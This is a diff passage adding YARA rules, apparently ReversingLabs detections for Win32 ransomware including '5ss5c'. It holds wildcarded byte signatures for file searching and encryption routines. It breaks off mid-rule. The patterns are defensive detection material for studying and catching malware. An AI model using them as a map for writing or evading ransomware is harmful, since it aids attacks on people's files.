+            ?? ?? ?? ?? 8D 45 ?? 50 56 8B B5 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75
+            ?? 57 FF 15 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 55 ?? 50
+            8B CE E8 ?? ?? ?? ?? 59 59 33 DB 53 53 53 57 FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75
+            ?? 56 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43
+            4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 4D ??
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C3 E8 ??
+            ?? ?? ?? C3
+        }
+		$encrypt_files_p1 = {
+            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 F6 8D 4D ?? 89 B5
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 75 ?? 8D 4D ?? 68 ?? ?? ?? ?? 89 75 ?? 89 75 ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 7D ?? 8B D8 8B 45
+            ?? 0F 43 7D ?? 59 3B D8 77 ?? 85 DB 74 ?? 2B C3 40 03 C7 89 85 ?? ?? ?? ?? 2B C7 50
+            6A ?? 57 EB ?? 53 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 85 ?? ??
+            ?? ?? 46 2B C6 50 6A ?? 56 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? EB ?? 2B F7 EB
+            ?? 83 CE ?? 83 FE ?? 74 ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 50 51 56 8D 4D
+            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+        }
+		$encrypt_files_p2 = {
+            50 E8 ?? ?? ?? ?? 6A ?? 5F 89 7D ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ??
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 51 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? C6 45 ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85
+            ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 8D
+            55 ?? FF 75 ?? 0F 43 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 8B 40 ?? 03 C8 8B 51
+            ?? 83 CA ?? 8B C2 0B C7 39 71 ?? 0F 44 D0 52 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_rsrc) and ( all of ($search_files_p*)) and ( all of ($create_test_file_p*)) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_5Ss5C : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects 5ss5c ransomware."
+		author = "ReversingLabs"
+		id = "c69f44de-8e48-518d-87bf-d21d11223a2f"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.5ss5c.yara#L1-L267"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "74fcec568906a01dade7091c63cffbe4afa49c4705d9c1f21d10b4eee655a805"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "5ss5c"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 89 BD ?? ?? ?? ?? 8B F1
+            8B 5D ?? 33 C0 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 6A ?? 89 45 ??
+            89 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40
+            ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ??
+            57 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D
+            ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? C7 00 ?? ?? ?? ?? C7 40 ??
+            ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6
+            45 ?? ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? C7
+            00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 57 C0 8B 43 ?? 66 0F D6
+        }
+		$find_files_p2 = {
+            45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C6 45
+            ?? ?? 8B 3B 85 FF 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8B 47 ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 47 ?? 89 7D ?? E8 ?? ?? ?? ?? 6A
+            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 3B
+            C8 74 ?? 83 78 ?? ?? 8D 48 ?? 72 ?? 8B 09 FF 70 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51
+            50 FF 15 ?? ?? ?? ?? 8B C8 89 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8B D8 66 66
+            0F 1F 84 00 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
+            8B 8D ?? ?? ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C6 00 ?? 8D 41 ?? 83 79 ?? ?? 72
+            ?? 8B 00 FF 71 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 8B D0 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 8D 85 ?? ?? ?? ?? 51
+            50 8B CA E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 F6 85 ??
+            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 FF FF B7 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 81 FF ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ??
+            ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 83 CB ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 50 89 9D ?? ?? ?? ?? 89 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
+        }
+		$find_files_p3 = {
+            45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75
+            ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0
+            8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? 83 7D ?? ?? 8D
+            8D ?? ?? ?? ?? FF 75 ?? 0F 43 55 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B
+            40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ??
+            8B 5D ?? 8D 55 ?? 53 FF B5 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 85 ??
+            ?? ?? ?? 8B 40 ?? 85 FF 0F 85 ?? ?? ?? ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ??
+            8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51
+            ?? 0F 1F 80 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D
+        }
+		$find_files_p4 = {
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ??
+            ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7
+            07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89
+            47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F
+            43 4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ??
+            85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D
+            8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ??
+            8B FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D
+            ?? 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ??
+            8D 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45
+        }
+		$find_files_p5 = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8D 55 ?? 83 7D ?? ?? 8B 4D ?? 0F 43 55 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 83 F9 ??
+            72 ?? 49 83 C8 ?? 3B C8 89 4D ?? 0F 42 C1 03 C2 0F 1F 40 ?? 80 38 ?? 75 ?? 0F B6 08
+            80 F9 ?? 75 ?? 33 C9 EB ?? 1B C9 83 C9 ?? 85 C9 74 ?? 3B C2 74 ?? 48 EB ?? 2B C2 EB
+            ?? 83 C8 ?? 6A ?? 8D 78 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C6 45 ?? ??
+            8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? 3B C7 0F 82 ?? ?? ?? ?? 2B C7 C7 45 ?? ?? ?? ?? ?? 83 C9 ?? 89 45 ?? 83 F8 ??
+            0F 42 C8 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 03 C7 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 8D ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+        }
+		$find_files_p6 = {
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7 07
+            ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89 47
+            ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F 43
+            4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85
+            DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D
+            ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B
+            FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ??
+            85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D
+            8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
+            33 FF 66 66 0F 1F 84 00 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF B7 ?? ?? ?? ?? 0F 43 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ??
+            ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 83 FF
+            ?? 72 ?? 8B 5D ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ??
+            ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8
+        }
+		$find_files_p7 = {
+            74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01
+            EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ??
+            50 8B CE E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 8D
+            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0
+            74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01
+            EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ??
+            50 8B CE E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ?? ?? ?? ?? 3B
+        }
+		$find_files_p8 = {
+            C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 74 ?? 8D 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32 DB 8B 85 ??
+            ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F
+            84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ??
+            8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74
+            ?? 8B 01 85 C0 74 ?? 90 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01
+            EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? E9 ??
+            ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ??
+            ?? ?? ?? 3B C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 75 ?? 8D
+        }
+		$find_files_p9 = {
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32
+            DB 8B 85 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ??
+            C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? C6 45 ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ??
+            ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ??
+            F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B
+            01 8B 40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ??
+            ?? E9 ?? ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ??
+            ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ??
+            8B 01 85 C0 74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B
+        }
+		$find_files_p10 = {
+            40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB
+            ?? 50 8B CE E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ??
+            ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ??
+            75 ?? 33 FF 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F
+            5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B
+            48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8
+        }
+		$encrypt_files_p1 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 55 8B 6C 24 ?? 56 8B
+            74 24 ?? 57 8B 7C 24 ?? 85 F6 0F 8E ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8 ?? ?? ?? ??
+            83 C4 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8
+            ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ??
+            ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 4C 24 ?? 8B C1
